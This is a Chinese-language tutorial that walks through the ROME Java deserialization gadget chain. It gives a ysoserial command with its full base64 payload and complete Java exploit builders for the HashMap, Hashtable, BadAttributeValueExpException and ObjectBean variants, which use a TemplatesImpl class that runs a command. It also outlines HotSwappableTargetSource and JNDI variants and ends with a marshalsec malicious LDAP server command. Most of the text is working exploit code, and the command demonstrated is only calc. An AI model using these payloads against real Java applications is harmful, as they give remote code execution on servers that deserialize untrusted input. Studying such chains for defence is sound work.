参考文章
从零开始分析
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。
环境搭建
Idea 新建一个Maven项目
这里直接到maven包就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> </dependencies>
|
新建一个demo来进行触发漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64; public class Poc { public static void main(String[] args) throws IOException,ClassNotFoundException { String base64_exp = "BASE64_STRING"; byte[] exp = Base64.getDecoder().decode(base64_exp); ByteArrayInputStream bytes = new ByteArrayInputStream(exp); ObjectInputStream objectInputStream = new ObjectInputStream(bytes); objectInputStream.readObject(); } }
|
然后关掉 IDEA 的 toString 对象视图, 因为该选项会默认调用实例方法的 toString, 并且会忽略 toString 中设置的断点, 而 ROME 链涉及到 ToStringBean 的 toString 方法
利用ysoserial
生成弹计算器的payload
:
1
| java -jar ysoserial.jar ROME 'calc'|base64
|
1
| rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAaeyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBACB5c29zZXJpYWwvUHduZXIxNjM4NzExMzMzOTc4NzU0MQEAIkx5c29zZXJpYWwvUHduZXIxNjM4NzExMzMzOTc4NzU0MTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABcAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu+X2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB+AAl4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AFHNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AHEwABF9vYmpxAH4ACXhwcQB+AB9xAH4AFHNxAH4AG3ZxAH4AAnEAfgANc3EAfgAgcQB+ACNxAH4ADXEAfgAGcQB+AAZxAH4ABng=
|
然后放入Poc.java里的string 然后进行运行就可以弹出计算器了
现在可以对这条链子进行分析
利用链分析
老样子我们先去ysoserial
中看一下调用链的顺序
1 2 3 4 5 6 7 8 9 10 11 12 13
| * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode()
* HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
|
最上面的是链子的末尾,最下面的是链子的开头
在HashMap的readObject里面
使用了putVal()方法,然后里面嵌=嵌套着一个hash法,先去看看hash()方法
会调用hashcode()方法 这里的key就是ObjectBean这个类了
然后就在这个类的hashcode()处打个断点
然后就开始调试
ObjectBean.hashcode调用了EqualsBean.beanHashCode方法
然后EqualsBean.beanHashCode又调用了ObjectBean.toString方法 这里的ObjectBean和开头的那个调用hashcode的ObjectBean是同一个类
ObjectBean.toString方法又调用了ToStringBean.toString()方法
然后跟进这个ToStringBean.toString()这个方法里面
在 toString 内部会获取 this._obj
的 Class 对象并获取其名称, 然后设置 prefix 为全类名的最后一位 (即 TemplatesImpl), 并在 return 时调用 this.toString(prefix)
这个重载方法
然后到TemplatesImpl.toString()方法
方法内部先通过 BeanIntrospector.getPropertyDescriptors()
获取 this._beanClass
的 JavaBean, 然后遍历 getter, 判断其是否由 Object 类声明, 并且是否无参, 最后调用这个无参的 getter
再往下就是 TemplatesImpl 的内容了, 很容易想到它的 _outputProperties
属性存在 getOutputProperties 这个 getter, 并且在里面调用了 newTransformer 方法, 经过一系列调用最终加载 Java 字节码并执行它的无参构造方法
总的来说利用链还是比较简单的, 就是 ObjectBean EqualsBean ToStringBean 之间的相互调用
这里的话之后就是TemplatesImpl实例化恶意类的流程
1 2 3 4 5
| TemplatesImpl-->getOutputProperties() TemplatesImpl-->newTransformer() TemplatesImpl-->getTransletInstance() TemplatesImpl-->defineTransletClasses() TemplatesImpl-->defineClass()
|
HashTable利用链
这条链子实际上就是在HashMap被ban的情况下进行反序列化,因为最终目的始终都是调用hashcode函数,而HashTbale中刚好调用了hashcode,因此仍然可以触发整套流程
这个HashTable里面的readObject方法,里面有一个key,然后这里面又有一个reconstitutionPut()方法,跟进这个方法
那么就可以利用这个来替换掉HashMap了
那么利用链
1 2 3 4 5 6 7 8 9 10 11
| TemplatesImpl.getOutputProperties() NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) NativeMethodAccessorImpl.invoke(Object, Object[]) DelegatingMethodAccessorImpl.invoke(Object, Object[]) Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() EqualsBean.beanHashCode() EqualsBean.hashCode() Hashtable<K,V>.reconstitutionPut(Entry<?,?>[], K, V) Hashtable<K,V>.readObject(ObjectInputStream)
|
这里话EqualsBean换成ObjectBean也行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package org.example;
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class Demo { public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = new TemplatesImpl(); JavaClass cls = Repository.lookupClass(Hello.class);
setFieldValue("_name", "Hello", templatesImpl); setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
Hashtable ht = new Hashtable(); ht.put(equalsBean, 123);
setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);
Serialization.test(ht); } public static void setFieldValue(String name, Object value, Object obj) throws Exception{ Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true); f.set(obj, value); } }
|
Hello.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Hello extends AbstractTranslet { public Hello(){ try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
EqualsBean
接下来我们来看这个类的定义
EqualsBean 刚好也存在 hashCode, 并且也能调用 this._obj
的 toString
那么这里就可以指定 this._obj
为 ToStringBean
这里的话在EqualsBean这个类的定义处就可以指定了
ToStringBean 的构造方法
我们指定 _beanClass
为 Templates.class, _obj
为 TemplatesImpl
这里为什么指定这些呢,这是在刚开始对ysoserial给的exp的时候,我们来完整跟了一遍,然后得到的参数
等下接下来的各种链子都是一样的道理
利用链
1 2 3 4 5 6 7 8 9 10 11
| TemplatesImpl.getOutputProperties() NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) NativeMethodAccessorImpl.invoke(Object, Object[]) DelegatingMethodAccessorImpl.invoke(Object, Object[]) Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() EqualsBean.beanHashCode() EqualsBean.hashCode() HashMap<K,V>.hash(Object) HashMap<K,V>.readObject(ObjectInputStream)
|
paylaod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.example;
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Demo { public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = new TemplatesImpl(); JavaClass cls = Repository.lookupClass(Hello.class);
setFieldValue("_name", "Hello", templatesImpl); setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
Map map = new HashMap(); map.put(equalsBean, 123);
setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);
Serialization.test(map); } public static void setFieldValue(String name, Object value, Object obj) throws Exception{ Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true); f.set(obj, value); } }
|
BadAttributeValueExpException
BadAttributeValueExpException 曾在 cc 链中出现过, 它的 readObject 方法也会调用 toString
valObj 从自身的 val 属性获取, 之后进入 if 判断, 这里的触发条件其实是 System.getSecurityManager() == null
, 即未开启 Java 安全管理器, 最后调用 valObj.toString()
这里的val可控,所以valObj也可控
利用链
1 2 3 4 5 6 7 8
| TemplatesImpl.getOutputProperties() NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) NativeMethodAccessorImpl.invoke(Object, Object[]) DelegatingMethodAccessorImpl.invoke(Object, Object[]) Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() BadAttributeValueExpException.readObject(ObjectInputStream)
|
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.example;
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.lang.reflect.*;
public class Demo { public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = new TemplatesImpl(); JavaClass cls = Repository.lookupClass(Hello.class);
setFieldValue("_name", "Hello", templatesImpl); setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl); setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
BadAttributeValueExpException e = new BadAttributeValueExpException(123); setFieldValue("val", toStringBean, e);
Serialization.test(e); } public static void setFieldValue(String name, Object value, Object obj) throws Exception{ Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true); f.set(obj, value); } }
|
ObjectBean
ysoserial 链用的就是 ObjectBean
就是和我们文章刚开始的时候分析的一样
利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package org.example;
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Demo { public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = new TemplatesImpl(); JavaClass cls = Repository.lookupClass(Hello.class);
setFieldValue("_name", "Hello", templatesImpl); setFieldValue("_bytecodes", new byte[][]{cls.getBytes()}, templatesImpl);
ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesImpl); ObjectBean objectBean2 = new ObjectBean(ObjectBean.class, objectBean1);
Map map = new HashMap(); map.put(objectBean2, 123);
setFieldValue("_tfactory", new TransformerFactoryImpl(), templatesImpl);
Serialization.test(map); } public static void setFieldValue(String name, Object value, Object obj) throws Exception{ Field f = obj.getClass().getDeclaredField(name); f.setAccessible(true); f.set(obj, value); } }
|
HotSwappableTargetSource
这个其实我们在之前的文章,也就是西湖论剑的easy_api里提到过,一个拿来当跳板的类,这个类有equals方法,可以触发Xstring的toString,那么也就可以接上Rome的后半段
这里的话需要导入一个maven
1 2 3 4 5
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.12</version> </dependency>
|
这边的流程也很简单,首先入口还是hashmap,里面的putval函数调用了equals,然后key可控,然后就到了HotSwappableTargetSource里面的equals
target:左边的是h2右边equals里面的是h1
这里的target就是xstring,右边里面的内容就是ToStringBean,随之进入Xstring的equals方法里
然后这里的obj2就是前面右边的target,就是toStringBean
obj2就是ToStringBean,因此链子闭合,逻辑无误
然后链子就构造完成了
JdbcRowSetImpl利用链
这个类是在FastJson反序列化里见到的一个类,这个类中调用了lookup方法,因此可以进行JNDI注入,所以JDK版本也要注意一下,jdl8的话要小于191版本
这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData()
,而rome链中又可以调用任意get方法,那其实也就和TempaltesImpl链思路是一样的,只是在不能使用TempaltesImpl时可以进行替换
这里介绍一个工具,marashalsec,用来起恶意ldap和rmi服务端的一个工具,很方便
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://](http://127.0.0.1:8888/#EXP)localhost:8888/#Exploit 9999
在8888端口放上你的payload,这里就准备一个弹计算机的,名字改为Exploit